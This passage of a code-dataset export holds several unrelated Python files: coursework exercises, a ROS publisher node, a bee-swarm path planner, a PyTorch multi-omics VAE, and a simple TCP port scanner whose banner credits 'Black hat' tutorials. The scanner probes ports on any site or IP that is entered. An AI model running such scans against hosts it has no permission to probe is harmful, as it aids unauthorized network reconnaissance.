== 'yes':\n total_sum *= 0.93\n\nif number_days < 1:\n print(\"Days must be positive number!\")\nelse:\n if total_sum == 0:\n print(\"Invalid input!\")\n else:\n if number_days > 7:\n number_days -= 1\n print(f\"The price is {number_days * total_sum:.2f}lv! Have a nice time!\")\n","repo_name":"vasilevamanoela/Python_Basics","sub_path":"PB_exam_preparation/03. Travel Agency.py","file_name":"03. Travel Agency.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29999624626","text":"import socket\r\nfrom IPy import IP\r\nimport os\r\n\r\n\r\ntry:\r\n\tos.system(\"clear\")\r\nexcept:\r\n\tos.system(\"cls\")\r\n\r\nprint('''\\033[0;37m\r\n╭━━━╮╱╱╱╱╭╮╱╭━━━╮\r\n┃╭━╮┃╱╱╱╭╯╰╮┃╭━╮┃\\033[0;31mv2.9\r\n┃╰━╯┣━━┳┻╮╭╯┃╰━━┳━━┳━━┳━╮╭━╮╭━━┳━╮\r\n┃╭━━┫╭╮┃╭┫┃╱╰━━╮┃╭━┫╭╮┃╭╮┫╭╮┫┃━┫╭╯\r\n\\033[0;37m┃┃╱╱┃╰╯┃┃┃╰╮┃╰━╯┃╰━┫╭╮┃┃┃┃┃┃┃┃━┫┃\r\n╰╯╱╱╰━━┻╯╰━╯╰━━━┻━━┻╯╰┻╯╰┻╯╰┻━━┻╯\r\n\r\n\\033[1;36m =============================================\\033[1;m\r\n\\033[0;33m|\\033[0;32m# Code By Pinindu Tharushan \\033[0;33m|\r\n\\033[0;33m|\\033[0;32m Contact On Whatsapp +94702801713 \\033[0;33m|\r\n\\033[0;33m|\\033[0;32m# Tutorial By Cyber Master \\033[0;33m|\r\n\\033[0;33m|\\033[0;32m# Tutorial By xOR \\033[0;33m|\r\n\\033[0;33m|\\033[0;32m# Tutorial By Black hat \\033[0;33m|\r\n\\033[1;36m =============================================\\033[1;m\r\n\\033[1;33m| BEST WEB PORT SCANNER |\r\n\\033[1;36m =============================================\\033[00m''')\r\n\r\ntry:\r\n print(\"[1] Scan With Web\")\r\n print(\"[2] Scan With IP\")\r\n print(\"[3] Exit Tool\")\r\n print()\r\n print(\"\\033[0;32m[~] Enter Your choose \")\r\n menu = input(\"\\033[0;36m[~]=======>> \\033[0;37m\")\r\n\r\n def main(ipaddress):\r\n def scan_port(ipaddress,port):\r\n try:\r\n sock = socket.socket()\r\n sock.settimeout(0.5)\r\n sock.connect((ipaddress, port))\r\n print(\"\\033[0;32m[+] Port \" + str(port) + \" is Open\")\r\n except:\r\n print(\"\\033[0;31m[-] Port \" + str(port) + \" is Closed\")\r\n\r\n print()\r\n count = int(input(\"Enter How Many Ports Do You Want Scan: \"))\r\n for port in range(1, int(count)+1):\r\n scan_port(ipaddress,port)\r\n\r\n def web():\r\n print()\r\n web = input(\"Enter Web: \")\r\n ipaddress = socket.gethostbyname(web)\r\n print(\"This Web IP is \" + ipaddress)\r\n main(ipaddress)\r\n\r\n def ip():\r\n print()\r\n ipaddress = input(\"Enter Web: \")\r\n print(\"Your IP Is \" + ipaddress)\r\n main(ipaddress)\r\n\r\n try:\r\n if menu == 1:\r\n web()\r\n elif menu == 2:\r\n ip()\r\n elif menu == 3:\r\n print()\r\n print(\"Thank You For Use This Tool..!\")\r\n exit()\r\n else:\r\n web()\r\n except:\r\n print()\r\n print(\"Typing Error\")\r\n\r\nexcept InterruptedError:\r\n print()\r\n print(\"Stoped By User\")\r\n print(\"Thank You For Use this tool...\")\r\n\r\nexcept:\r\n print()\r\n print(\"Script Error...!\")\r\n print(\"contact us.\")","repo_name":"Pinindu-Tharushan/Port-Scanner-Socket","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3195942769","text":"#!/usr/bin/env python3\n\n#main module to communicate with ROS\nimport rospy\n\n#from standard messages, \"Float32\" msg type is imported\nfrom std_msgs.msg import Float32\n\n# Setting the initial speed val to 0 (global variable)\nSPEED = 0\n\n\n#callback function for the subscriber of '/change_speed' topic\ndef update_speed(val):\n\t#accessing the global variable\n\tglobal SPEED\n\t#updating the global variable value; round funtion is to round the float number\n\tSPEED = round(val.data, 1)\n\n\n#publisher function\ndef pub_speed_val():\n\t#accessing the global variable\n\tglobal SPEED\n\n\t#creating a publisher class object to publish speed values\n\t#'speed' -> topic name; Float32 -> msg type; 'queue_size' -> outgoing message queue used for asynchronous publishing\n\tspeed_pub = rospy.Publisher('speed', Float32, queue_size=10)\n\n\t#creating a Rate class object, at 10Hz, 10 times per second\n\trate = rospy.Rate(10)\n\n\t#checking the ros master is alive\n\twhile not rospy.is_shutdown():\n\t\t#publishing the global variable; msg type -> Float32\n\t\tspeed_pub.publish(SPEED)\n\t\t#sleeping 0.1 seconds since Rate is 5 Hz\n\t\trate.sleep()\n\n\nif __name__ == \"__main__\":\n\ttry:\n\t\t#initializing a new node\n\t\trospy.init_node('speed_pub_node')\n\n\t\t#creating a subscriber for the topic \"change_speed\"\n\t\t#received data type -> Float32; callback func -> update_speed\n\t\trospy.Subscriber(\"change_speed\", Float32, update_speed)\n\n\t\t#main function for publisher\n\t\tpub_speed_val()\n\t\t\n\t\t#to keep alive the node, continuous spinning\n\t\trospy.spin()\n\n\t#only ROS related exceptions will be captured\n\texcept rospy.ROSInterruptException as e:\n\t\tprint(e)","repo_name":"Otabek8866/robot-x","sub_path":"scripts/speed_pub_node.py","file_name":"speed_pub_node.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"24040984028","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.spatial import distance\r\nfrom scipy.signal import argrelextrema\r\nimport matplotlib.patches as patches\r\n\r\n\r\nclass Nodo():\r\n\t'''Esta clase genera nodos aleatorios y en base a estos encuentra la mejor ruta \r\n\ten base al algortimo Bee swarm'''\r\n\r\n\t'''Para su constructor se necesita conocer la meta y la posicion en la que se \r\n\tpartira, así mismo se debe seleccionar un numero de nodos, por default\r\n\tel programa tendra 25 nodos.'''\r\n\tdef __init__(self, meta, pos_inicial, mpx1, mpx2, mpy1, mpy2, num_nodos=25):\r\n\r\n\t\tself.num_nodos = num_nodos\r\n\t\tself.meta = meta\r\n\t\tself.pos_inicial = pos_inicial\r\n\t\tself.pos = np.array([pos_inicial])\r\n\r\n\t\tself.sizex = abs(mpx2-1)\r\n\t\tself.sizey = abs(mpy2-1)\r\n\r\n\t\t\r\n\t\t'''Se definen las variables que se utilizaran globalmente, las cuales\r\n\t\tson el arreglo ruta, en donde se guardaran los nodos seleccionados.\r\n\t\tMientras que la matriz nodo es la que contendra los nodos generados\r\n\t\taleatoriamente, por ultimo la matriz muertos obtiene los nodos\r\n\t\tdesechados. '''\r\n\t\tself.muertos = np.zeros([1,2])\r\n\t\tself.ruta = np.array([[self.pos[0][0],self.pos[0][1]]])\r\n\t\tself.nodo = np.zeros([self.num_nodos,2])\r\n\r\n\tdef Restricciones(self,valorx,valory,iter):\r\n\t\tcont = 0\r\n\t\t# La primera restriccion es que la posicion y el nodo no \r\n\t\t# deben compartir el mismo espacio.\r\n\r\n\t\tif ((self.pos_inicial[0]==valorx)&(self.pos_inicial[1]==valory)):\r\n\t\t\tcont += 1\r\n\r\n\t\t# La segunda restriccion es que la meta y el nodo no \r\n\t\t# deben compartir el mismo espacio.\r\n\t\tif ((self.meta[0]==valorx)&(self.meta[1]==valory)):\r\n\t\t\tcont += 1\r\n\r\n\t\t# La tercera restriccion es que los nodos no deben \r\n\t\t# repetirse.\r\n\t\tMaux = np.copy(self.nodo[:iter])\r\n\t\tfor i in range(iter):\r\n\t\t\tif ((Maux[i][0]==valorx)&(Maux[i][1]==valory)):\r\n\t\t\t\tcont += 1\r\n\r\n\t\t# La cuarta restriccion es que los nodos no deben existir\r\n\t\t# en los obstaculos\r\n\r\n\t\t''' Se necesita contar con conocimiento del mapa para este caso \r\n\t\tse usaran los obstaculos puntuale del archivo obstacles.npy'''\r\n\r\n\t\tobs = np.load('obstacles.npy')\r\n\r\n\t\tfor i in range(obs.shape[0]-1):\r\n\t\t\tif ((obs[i][0]==valorx)&(obs[i][1]==valory)):\r\n\t\t\t\tcont += 1\r\n\r\n\t\tif cont>0:\r\n\t\t\treturn False\r\n\t\telse:\r\n\t\t\treturn True\r\n\r\n\r\n\tdef Puntos(self):\r\n\t\t\r\n\t\t# Se generan puntos en todo el mapa con la funcion choice se obtienen\r\n\t\t# aleatoriamente y de forma discreta.\r\n\t\tfor i in range(self.num_nodos):\r\n\t\t\tres = False\r\n\t\t\twhile (res==False):\r\n\t\t\t\tx = np.random.choice(self.sizex)\r\n\t\t\t\ty = np.random.choice(self.sizey)\r\n\t\t\t\tres = self.Restricciones(x,y,i)\r\n\t\t\tself.nodo[i][0] = x\r\n\t\t\tself.nodo[i][1] = y\r\n\t\t\t\r\n\r\n\r\n\tdef Grafica_NPM0(self):\r\n\r\n\t\t# Este grafico es unicamente para ver la posicion de los nodos\r\n\t\t# Figura\r\n\t\tfig, ax = plt.subplots()\r\n\t\r\n\t\t# Meta y posicion, estos valores son fijos\r\n\t\tplt.plot(self.meta[0],self.meta[1], marker=\"o\", color=\"b\",label = \"Meta\")\r\n\t\tplt.plot(self.pos_inicial[0],self.pos_inicial[1], marker=\"o\", color=\"g\",label = \"Posición\")\r\n\t\t# Grafica nodos\r\n\t\tfor i in range(int(np.size(self.nodo)/2)):\r\n\t\t\tif i==0:\r\n\t\t\t\tplt.plot(self.nodo[i][0],self.nodo[i][1], marker=\"o\", color=\"red\",label = \"Nodos\")\r\n\t\t\telse:\r\n\t\t\t\tplt.plot(self.nodo[i][0],self.nodo[i][1], marker=\"o\", color=\"red\")\r\n\t\t# Grafica de obstaculos\r\n\t\tobs = np.load('obstacles.npy')\r\n\t\r\n\t\tfor i in range(obs.shape[0]-1):\r\n\t\t\tif i==0:\r\n\t\t\t\tplt.plot(obs[i][0],obs[i][1], marker=\"o\", color=\"k\",label = \"Obstaculos\")\r\n\t\t\telse:\r\n\t\t\t\tplt.plot(obs[i][0],obs[i][1], marker=\"o\", color=\"k\")\r\n\t\t# Parametros de la grafica\r\n\t\tplt.title(\"Grafico de NODOS\")\r\n\t\tplt.xlabel(\"Eje X\") # Inserta el título del eje X\r\n\t\tplt.ylabel(\"Eje Y\") # Inserta el título del eje Y\r\n\t\tplt.legend(bbox_to_anchor=(1.05, 1.0), loc='upper left')\r\n\t\tplt.tight_layout()\r\n\r\n\r\n\r\n\r\n\tdef Grafica_NPM2(self,num_r = 1):\r\n\t\t# Esta funcion retorna de manera grafica la ruta obtenida\r\n\t\t# Figura\r\n\t\tfig, ax = plt.subplots()\r\n\t\t\r\n\t\t# Grafica ruta\r\n\t\tfor i in range(self.ruta.shape[0]-1):\r\n\t\t\tif i==0:\r\n\t\t\t\tplt.plot([self.ruta[i][0],self.ruta[i+1][0]],[self.ruta[i][1],self.ruta[i+1][1]], marker=\"o\", color=\"y\",label= \"Ruta\")\r\n\t\t\telse:\r\n\t\t\t\tplt.plot([self.ruta[i][0],self.ruta[i+1][0]],[self.ruta[i][1],self.ruta[i+1][1]], marker=\"o\", color=\"y\")\r\n\t\tplt.plot(self.meta[0],self.meta[1], marker=\"o\", color=\"b\",label = \"Meta\")\r\n\t\tplt.plot(self.pos_inicial[0],self.pos_inicial[1], marker=\"o\", color=\"g\",label = \"Posición\")\r\n\r\n\t\t# Grafica obstaculos\r\n\t\tobs = np.load('obstacles.npy')\r\n\t\tfor i in range(obs.shape[0]-1):\r\n\t\t\tif i==0:\r\n\t\t\t\tplt.plot(obs[i][0],obs[i][1], marker=\"o\", color=\"k\",label = \"Obstaculos\")\r\n\t\t\telse:\r\n\t\t\t\tplt.plot(obs[i][0],obs[i][1], marker=\"o\", color=\"k\")\r\n\t\t\t\r\n\t\t# Parametros de la grafica\r\n\t\tplt.title(\"Grafico de la Ruta\"+str(num_r))\r\n\t\tplt.xlabel(\"Eje X\") # Inserta el título del eje X\r\n\t\tplt.ylabel(\"Eje Y\") # Inserta el título del eje Y\r\n\t\tplt.legend(bbox_to_anchor=(1.05, 1.0), loc='upper left')\r\n\t\tplt.tight_layout()\r\n\r\n\tdef Funcion_Distancia(self):\r\n\t\tcontw = 0\r\n\t\tcont = 0\r\n\t\t# Esta funcion encuentra la mejor ruta analizando cada nodo\r\n\t\twhile (1):\r\n\t\t\tcont+=1\r\n\t\t\tPopCost = np.zeros(self.nodo.shape[0]+1,dtype=np.float64)\r\n\t\t\tPopCostM = np.zeros(3)\r\n\t\t\tfor i in range(self.nodo.shape[0]):\r\n\t\t\t\tPopCost[i] = distance.euclidean(self.pos, self.nodo[i])\r\n\t\t\tPopCost[self.nodo.shape[0]] = distance.euclidean(self.pos, self.meta)\r\n\t\t\t\r\n\t\t\tordenados = np.array(sorted(PopCost),dtype=np.float64)\r\n\t\t\targ_orden = np.zeros(3,dtype=np.uint32)\r\n\t\t\tnodo_m=np.zeros([3,2])\r\n\t\t\ti=0\r\n\t\t\tfor i in range(3):\r\n\t\t\t\taux_arg = np.where(PopCost==ordenados[i])[0]\r\n\t\t\t\tif aux_arg.shape[0]>1:\r\n\t\t\t\t\taux_arg = aux_arg[0]\r\n\t\t\t\targ_orden[i] = int(aux_arg)\r\n\t\t\t\tif arg_orden[i] == PopCost.shape[0]-1:\r\n\t\t\t\t\taux = np.array([[self.meta[0],self.meta[1]]])\r\n\t\t\t\t\tself.ruta = np.append(self.ruta,aux,axis=0)\r\n\t\t\t\t\tcontw+=1\r\n\t\t\t\t\tbreak\r\n\t\t\t\taux = np.array([[self.nodo[int(arg_orden[i])][0],self.nodo[int(arg_orden[i])][1]]])\r\n\t\t\t\tnodo_m[i]=self.nodo[int(arg_orden[i])]\r\n\t\t\t\tself.muertos = np.append(self.muertos,aux,axis=0)\r\n\t\t\tif contw>0:\r\n\t\t\t\tbreak\r\n\t\t\tfor i in range(3):\r\n\t\t\t\tPopCostM[i] = distance.euclidean(self.meta, nodo_m[i])\r\n\r\n\t\t\tordenados = np.array(sorted(PopCostM))\r\n\r\n\t\t\targ = np.where(PopCostM==ordenados[0])[0]\r\n\t\t\tif arg.shape[0]>1:\r\n\t\t\t\t\targ = arg[0]\r\n\t\t\taux = np.array([[nodo_m[int(arg)][0],nodo_m[int(arg)][1]]])\r\n\r\n\t\t\t\r\n\t\t\tself.ruta = np.append(self.ruta,aux,axis=0)\r\n\t\t\tself.pos = aux\r\n\t\t\tself.nodo = np.delete(self.nodo, [int(arg_orden[0]),int(arg_orden[1]),int(arg_orden[2])],axis=0)\r\n\r\n\t\treturn self.ruta\r\n\t\t\r\n\tdef distancia_min(self):\r\n\t\tdis = 0\r\n\t\tfor i in range(self.ruta.shape[0]-1):\r\n\t\t\tdis += distance.euclidean(self.ruta[i], self.ruta[i+1])\r\n\t\treturn dis\r\n\r\n\tdef Rango(self,num,min,max):\r\n\t\tif ((num>=min)&(num<=max)):\r\n\t\t\treturn False\r\n\t\telse:\r\n\t\t\treturn True\r\n\r\n\r\n\r\n''' Para ejecutar el codigo defina el numero de nodos, rutas, meta y posicion'''\r\nn_nodos = 25\r\nnum_rutas = 100\r\nmeta = np.array([17,18])\r\nposicion = np.array([1,2])\r\n''' Para obtener el mejor resultado se deben plantear diversas rutas, para eso \r\ncree una lista de objetos'''\r\nnodo = []\r\n\r\n'''Para saber cual es la mejor ruta, primero asigne un valor muy grande a una variable\r\nse recomienda colocar infinito'''\r\nbestruta = np.inf\r\naux_indice = 0\r\n\r\n'''Cree un for con el numero de rutas deseado en este defina los objetos y sus metodos'''\r\n\r\nfor i in range(num_rutas):\r\n\tnodo += [i + 1] # incrementa el tamaño de la lista\r\n\tnodo[i]=Nodo(meta,posicion,0,20,0,20,num_nodos=n_nodos)\r\n\tnodo[i].Puntos() # Obtenemos los nodos \r\n\t# nodo[i].Grafica_NPM0() # Se grafican los nodos\r\n\tauxr = nodo[i].Funcion_Distancia() # Se calcula la ruta\r\n\t# nodo[i].Grafica_NPM2(i+1) # Se grafica la ruta\r\n\tif bestruta > nodo[i].distancia_min(): # Se guarda la ruta mas baja \r\n\t\tbestruta = nodo[i].distancia_min()\r\n\t\taux_indice = i\r\n\t\truta = auxr\r\n\r\n''' Ahora solo imprima los valores encontrados '''\r\n\r\nprint(\"La mejor ruta es la:\",aux_indice+1,\"Con una distancia de:\",bestruta,\"metros\")\r\nnodo[aux_indice].Grafica_NPM2(aux_indice+1)\r\nprint(ruta)\r\nplt.show()\r\n","repo_name":"ftrujillo36/VeranoUG2021","sub_path":"Codigo/Abejas/ABC.py","file_name":"ABC.py","file_ext":"py","file_size_in_byte":7997,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14642398487","text":"def collatz(number):\n\tglobal a\n\tif number % 2 == 1:\n\t\ta = 3 * number + 1\n\t\tprint(a)\n\telif number % 2 == 0:\n\t\ta = number // 2\n\t\tprint(a)\n\na = 0\nprint('Enter number: ')\nwhile True:\n\tif a == 1:\n\t\tbreak\n\telse:\n\t\tnumber = int(input())\t\t\t\n\t\tcollatz(number)\n\n","repo_name":"zzz6/-Automate-the-Boring-Stuff-with-Python","sub_path":"Part 1/Chapter 3/Collatz sequence.py","file_name":"Collatz sequence.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31282934947","text":"import functools\nimport torch\nfrom torch import nn\n\n\nclass VaeBasicModel(torch.nn.Module):\n \"\"\"\n This is the basic VAE model class, called by all other VAE son classes.\n \"\"\"\n\n def __init__(\n self,\n omics_dims,\n norm_type,\n leaky_slope,\n dropout_p,\n latent_space_dim,\n dim_1B,\n dim_1A,\n dim_1C,\n ):\n \"\"\"\n Initialize the VAE basic class.\n \"\"\"\n # input tensor\n super().__init__()\n\n # define the network\n self.netEmbed = define_VAE(\n omics_dims,\n norm_type,\n leaky_slope,\n dropout_p,\n latent_space_dim,\n dim_1B,\n dim_1A,\n dim_1C,\n )\n\n def forward(self, data_e, data_m, data_c):\n # Get the output tensor\n z, recon_omics, mean, log_var = self.netEmbed.forward(data_e, data_m, data_c)\n latent = mean.detach()\n return z, recon_omics, mean, log_var, latent\n\n\nclass FCBlock(nn.Module):\n \"\"\"\n Linear => Norm1D => LeakyReLU\n \"\"\"\n\n def __init__(\n self,\n input_dim,\n output_dim,\n norm_layer=nn.BatchNorm1d,\n leaky_slope=0.2,\n dropout_p=0,\n activation=True,\n normalization=True,\n activation_name=\"LeakyReLU\",\n ):\n \"\"\"\n Construct a fully-connected block\n Parameters:\n input_dim (int) -- the dimension of the input tensor\n output_dim (int) -- the dimension of the output tensor\n norm_layer -- normalization layer\n leaky_slope (float) -- the negative slope of the Leaky ReLU activation function\n dropout_p (float) -- probability of an element to be zeroed in a dropout layer\n activation (bool) -- need activation or not\n normalization (bool) -- need normalization or not\n activation_name (str) -- name of the activation function used in the FC block\n \"\"\"\n super(FCBlock, self).__init__()\n # Linear\n self.fc_block = [nn.Linear(input_dim, output_dim)]\n # Norm\n if normalization:\n # FC block doesn't support InstanceNorm1d\n if (\n isinstance(norm_layer, functools.partial)\n and norm_layer.func == nn.InstanceNorm1d\n ):\n norm_layer = nn.BatchNorm1d\n self.fc_block.append(norm_layer(output_dim))\n # Dropout\n if 0 < dropout_p <= 1:\n self.fc_block.append(nn.Dropout(p=dropout_p))\n # LeakyReLU\n if activation:\n if activation_name.lower() == \"leakyrelu\":\n self.fc_block.append(\n nn.LeakyReLU(negative_slope=leaky_slope, inplace=True)\n )\n elif activation_name.lower() == \"tanh\":\n self.fc_block.append(nn.Tanh())\n else:\n raise NotImplementedError(\n \"Activation function [%s] is not implemented\" % activation_name\n )\n\n self.fc_block = nn.Sequential(*self.fc_block)\n\n def forward(self, x):\n output = self.fc_block(x)\n return output\n\n\n# FcVae\nclass FcVaeABC(nn.Module):\n \"\"\"\n Defines a fully-connected variational autoencoder for multi-omics dataset\n \"\"\"\n\n def __init__(\n self,\n omics_dims,\n norm_layer=nn.BatchNorm1d,\n leaky_slope=0.2,\n dropout_p=0,\n dim_1B=384,\n dim_1A=384,\n dim_1C=384,\n latent_dim=256,\n ):\n \"\"\"\n Construct a fully-connected variational autoencoder\n Parameters:\n omics_dims (list) -- the list of input omics dimensions\n norm_layer -- normalization layer\n leaky_slope (float) -- the negative slope of the Leaky ReLU activation function\n dropout_p (float) -- probability of an element to be zeroed in a dropout layer\n latent_dim (int) -- the dimensionality of the latent space\n \"\"\"\n\n super(FcVaeABC, self).__init__()\n self.A_dim = omics_dims[0]\n self.B_dim = omics_dims[1]\n self.C_dim = omics_dims[2]\n self.dim_1B = dim_1B\n self.dim_1A = dim_1A\n self.dim_1C = dim_1C\n\n # ENCODER\n # Layer 1\n self.encode_fc_1B = FCBlock(\n self.B_dim,\n dim_1B,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=dropout_p,\n activation=True,\n )\n self.encode_fc_1A = FCBlock(\n self.A_dim,\n dim_1A,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=dropout_p,\n activation=True,\n )\n self.encode_fc_1C = FCBlock(\n self.C_dim,\n dim_1C,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=dropout_p,\n activation=True,\n )\n # Layer 4\n self.encode_fc_mean = FCBlock(\n dim_1C + dim_1B + dim_1A,\n latent_dim,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=0,\n activation=False,\n normalization=False,\n )\n self.encode_fc_log_var = FCBlock(\n dim_1C + dim_1B + dim_1A,\n latent_dim,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=0,\n activation=False,\n normalization=False,\n )\n\n # DECODER\n # Layer 1\n self.decode_fc_z = FCBlock(\n latent_dim,\n dim_1C + dim_1B + dim_1A,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=dropout_p,\n activation=True,\n )\n\n # Layer 4\n self.decode_fc_4B = FCBlock(\n dim_1B,\n self.B_dim,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=0,\n activation=False,\n normalization=False,\n )\n self.decode_fc_4A = FCBlock(\n dim_1A,\n self.A_dim,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=0,\n activation=False,\n normalization=False,\n )\n self.decode_fc_4C = FCBlock(\n dim_1C,\n self.C_dim,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=0,\n activation=False,\n normalization=False,\n )\n\n def encode(self, data_e, data_m, data_c):\n level_2_A = self.encode_fc_1A(data_e)\n level_2_B = self.encode_fc_1B(data_m)\n level_2_C = self.encode_fc_1C(data_c)\n\n level_3 = torch.cat((level_2_B, level_2_A, level_2_C), 1)\n latent_mean = self.encode_fc_mean(level_3)\n latent_log_var = self.encode_fc_log_var(level_3)\n\n return latent_mean, latent_log_var\n\n def reparameterize(self, mean, log_var):\n std = torch.exp(0.5 * log_var)\n eps = torch.randn_like(std)\n return eps.mul(std).add_(mean)\n\n def decode(self, z):\n level_1 = self.decode_fc_z(z)\n\n level_2_B = level_1.narrow(1, 0, self.dim_1B)\n level_2_A = level_1.narrow(1, self.dim_1B, self.dim_1A)\n level_2_C = level_1.narrow(1, self.dim_1B + self.dim_1A, self.dim_1C)\n\n recon_B = self.decode_fc_4B(level_2_B)\n recon_A = self.decode_fc_4A(level_2_A)\n recon_C = self.decode_fc_4C(level_2_C)\n\n return [recon_A, recon_B, recon_C]\n\n def get_last_encode_layer(self):\n return self.encode_fc_mean\n\n def forward(self, data_e, data_m, data_c):\n mean, log_var = self.encode(data_e, data_m, data_c)\n z = self.reparameterize(mean, log_var)\n recon_x = self.decode(z)\n return z, recon_x, mean, log_var\n\n\nclass VaeClassifierModel(VaeBasicModel):\n \"\"\"\n This class implements the VAE classifier model, using the VAE framework with the classification downstream task.\n \"\"\"\n\n def __init__(\n self,\n omics_dims,\n dropout_p,\n latent_space_dim,\n dim_1B,\n dim_1A,\n dim_1C,\n class_dim_1,\n leaky_slope,\n ):\n \"\"\"\n Initialize the VAE_classifier class.\n \"\"\"\n VaeBasicModel.__init__(\n self,\n omics_dims,\n \"batch\",\n leaky_slope,\n dropout_p,\n latent_space_dim,\n dim_1B,\n dim_1A,\n dim_1C,\n )\n # specify the training losses you want to print out.\n\n # define the network\n self.netDown = define_down(\n \"batch\", leaky_slope, dropout_p, latent_space_dim, 1, class_dim_1\n )\n\n def classify(self, data_e, data_m, data_c):\n _, _, _, _, latent = VaeBasicModel.forward(\n self, data_e, data_m, data_c\n )\n # Get the output tensor\n y_out = self.netDown(latent)\n return y_out\n\n def encode(self, data_e, data_m, data_c):\n # Get the output tensor\n z, recon_omics, mean, log_var, _ = VaeBasicModel.forward(\n self, data_e, data_m, data_c\n )\n return z, recon_omics, mean, log_var\n\n def encode_and_classify(self, data_e, data_m, data_c):\n # Get the output tensor\n z, recon_omics, mean, log_var, latent = VaeBasicModel.forward(\n self, data_e, data_m, data_c\n )\n y_out = self.netDown(latent)\n return z, recon_omics, mean, log_var, y_out\n\n def forward(self, data_e, data_m , data_c):\n _, _, _, _, latent = VaeBasicModel.forward(\n self, data_e, data_m, data_c\n )\n # Get the output tensor\n return self.netDown(latent)\n\n\ndef define_down(\n norm_type=\"batch\",\n leaky_slope=0.2,\n dropout_p=0,\n latent_dim=256,\n class_num=2,\n class_dim_1=128,\n):\n \"\"\"\n Create the downstream task network\n Parameters:\n norm_type (str) -- the name of normalization layers used in the network, default: batch\n leaky_slope (float) -- the negative slope of the Leaky ReLU activation function\n dropout_p (float) -- probability of an element to be zeroed in a dropout layer\n latent_dim (int) -- the dimensionality of the latent space and the input layer of the classifier\n class_num (int) -- the number of class\n Returns a downstream task network\n The default downstream task network is a multi-layer fully-connected classifier.\n The generator has been initialized by .\n :param class_dim_2:\n :param class_dim_1:\n \"\"\"\n\n net = None\n\n # get the normalization layer\n norm_layer = get_norm_layer(norm_type=norm_type)\n\n net = MultiFcClassifier(\n class_num, latent_dim, norm_layer, leaky_slope, dropout_p, class_dim_1\n )\n\n return net\n\n\ndef get_norm_layer(norm_type=\"batch\"):\n \"\"\"\n Return a normalization layer\n Parameters:\n norm_type (str) -- the type of normalization applied to the model, default to use batch normalization, options: [batch | instance | none ]\n \"\"\"\n if norm_type == \"batch\":\n norm_layer = functools.partial(\n nn.BatchNorm1d, affine=True, track_running_stats=True\n )\n elif norm_type == \"instance\":\n norm_layer = functools.partial(\n nn.InstanceNorm1d, affine=False, track_running_stats=False\n )\n else:\n raise NotImplementedError(\"normalization method [%s] is not found\" % norm_type)\n return norm_layer\n\n\n# Class for downstream task\nclass MultiFcClassifier(nn.Module):\n \"\"\"\n Defines a multi-layer fully-connected classifier\n \"\"\"\n\n def __init__(\n self,\n class_num=2,\n latent_dim=256,\n norm_layer=nn.BatchNorm1d,\n leaky_slope=0.2,\n dropout_p=0,\n class_dim_1=128,\n ):\n \"\"\"\n Construct a multi-layer fully-connected classifier\n Parameters:\n class_num (int) -- the number of class\n latent_dim (int) -- the dimensionality of the latent space and the input layer of the classifier\n norm_layer -- normalization layer\n leaky_slope (float) -- the negative slope of the Leaky ReLU activation function\n dropout_p (float) -- probability of an element to be zeroed in a dropout layer\n layer_num (int) -- the layer number of the classifier, >=3\n \"\"\"\n super(MultiFcClassifier, self).__init__()\n\n self.input_fc = FCBlock(\n latent_dim,\n class_dim_1,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=dropout_p,\n activation=True,\n )\n\n # create a list to store fc blocks\n mul_fc_block = []\n self.mul_fc = nn.Sequential(*mul_fc_block)\n\n # the output fully-connected layer of the classifier\n self.output_fc = FCBlock(\n class_dim_1,\n class_num,\n norm_layer=norm_layer,\n leaky_slope=leaky_slope,\n dropout_p=0,\n activation=False,\n normalization=False,\n )\n\n def forward(self, x):\n x1 = self.input_fc(x)\n x2 = self.mul_fc(x1)\n y = self.output_fc(x2)\n return y\n\n\ndef define_VAE(\n omics_dims,\n norm_type=\"batch\",\n leaky_slope=0.2,\n dropout_p=0,\n latent_dim=256,\n dim_1B=384,\n dim_1A=384,\n dim_1C=384,\n):\n \"\"\"\n Create the VAE network\n Parameters:\n omics_dims (list) -- the list of input omics dimensions\n norm_type (str) -- the name of normalization layers used in the network, default: batch\n leaky_slope (float) -- the negative slope of the Leaky ReLU activation function\n dropout_p (float) -- probability of an element to be zeroed in a dropout layer\n latent_dim (int) -- the dimensionality of the latent space\n Returns a VAE\n The default backbone of the VAE is one dimensional convolutional layer.\n The generator has been initialized by .\n \"\"\"\n\n net = None\n # get the normalization layer\n norm_layer = get_norm_layer(norm_type=norm_type)\n net = FcVaeABC(\n omics_dims,\n norm_layer,\n leaky_slope,\n dropout_p,\n dim_1B=dim_1B,\n dim_1A=dim_1A,\n dim_1C=dim_1C,\n latent_dim=latent_dim,\n )\n return net\n","repo_name":"thauptmann/Multi-Omics-Analysis","sub_path":"src/models/omiEmbed_model.py","file_name":"omiEmbed_model.py","file_ext":"py","file_size_in_byte":14582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18042206011","text":"#课本p268 例12.8.3\r\nimport math\r\ndef f1(n):\r\n return (n*n-n-1)/(2*n-1)\r\ndef f2(n):\r\n if abs(n*n-n-1)<1e-8:\r\n return 1\r\n else:\r\n return 0\r\nx = 2\r\ncount = 1\r\nn = 100\r\nx1 = x - 